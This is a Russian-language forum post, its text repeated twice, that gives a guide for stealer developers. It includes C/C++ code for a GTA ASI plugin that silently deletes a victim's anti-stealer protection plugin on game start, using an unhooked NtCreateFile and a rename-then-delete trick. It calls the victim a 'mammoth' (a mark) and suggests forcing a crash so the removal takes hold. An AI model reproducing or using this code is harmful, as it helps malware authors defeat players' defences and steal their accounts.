- 1
- 11
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle
С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
Информация на руках, осталось написать asi плагин
Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл
Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:
Компилируем плагин.
Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
Далее видим что от антистиллера осталось лишь лог, вот и все
Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш
Всем добра
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle
С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
Информация на руках, осталось написать asi плагин
Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
NTSTATUS(__stdcall *NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER , ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
*(FARPROC*)&NtCreateFile = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile");
wchar_t szPath[MAX_PATH * 2] = L"\\??\\";
GetCurrentDirectoryW((MAX_PATH * 2), &szPath[4]);
lstrcatW(szPath, L"\\!0AntiStealerByDarkP1xel32.ASI");
Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл
C++:
UNICODE_STRING uFilePath;
uFilePath.Buffer = szPath;
uFilePath.Length = lstrlenW(szPath) * sizeof(wchar_t);
uFilePath.MaximumLength = uFilePath.Length + 2;
IO_STATUS_BLOCK IoStatusBlock;
OBJECT_ATTRIBUTES FileObjectAttributes;
InitializeObjectAttributes(&FileObjectAttributes, &uFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hFile = NULL;
NTSTATUS NtStatus = NtCreateFile(&hFile, DELETE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, 0);
Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:
C++:
if (NT_SUCCESS(NtStatus)) {
FILE_RENAME_INFO fRenameInfo;
memset(&fRenameInfo, 0, sizeof(fRenameInfo));
fRenameInfo.FileNameLength = 4;
memcpy(fRenameInfo.FileName, L":x", 4);
if (SetFileInformationByHandle(hFile, FileRenameInfo, &fRenameInfo, sizeof(fRenameInfo) + 4)) {
CloseHandle(hFile);
NtStatus = NtCreateFile(&hFile, DELETE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, 0);
if (NT_SUCCESS(NtStatus)) {
FILE_DISPOSITION_INFO fDispositionInfo;
memset(&fDispositionInfo, 0, sizeof(fDispositionInfo));
fDispositionInfo.DeleteFileW = 1;
SetFileInformationByHandle(hFile, FileDispositionInfo, &fDispositionInfo, sizeof(fDispositionInfo));
};
};
CloseHandle(hFile);
};
Компилируем плагин.
Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
Далее видим что от антистиллера осталось лишь лог, вот и все
Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш
Всем добра